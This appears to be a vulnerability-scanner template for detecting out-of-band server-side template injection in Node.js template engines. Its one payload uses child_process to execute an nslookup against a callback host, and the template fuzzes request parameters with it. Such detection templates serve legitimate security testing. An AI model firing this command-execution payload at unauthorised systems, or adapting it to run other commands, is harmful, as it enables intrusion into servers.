id: codepen-oob

info:
  name: Codepen - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#codepen
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "-%20var%20x%3Droot.process%20-%20x%3Dx.mainModule.require%20-%20x%3Dx(%27child_process%27)%20%3D%20x.exec(%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27)"

    fuzzing:
      - parts:
          - query
          - body
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4a0a0047304502202c1588b38f2c68d4d5cd904ae99bbb46b422bf30f71d52e41f0d682e46fdb5d2022100c2aaece713acd609f82f2c478d64d81b3d2d5baa183523e0a021dc01658075dc:922c64590222798bb761d5b6d8e72950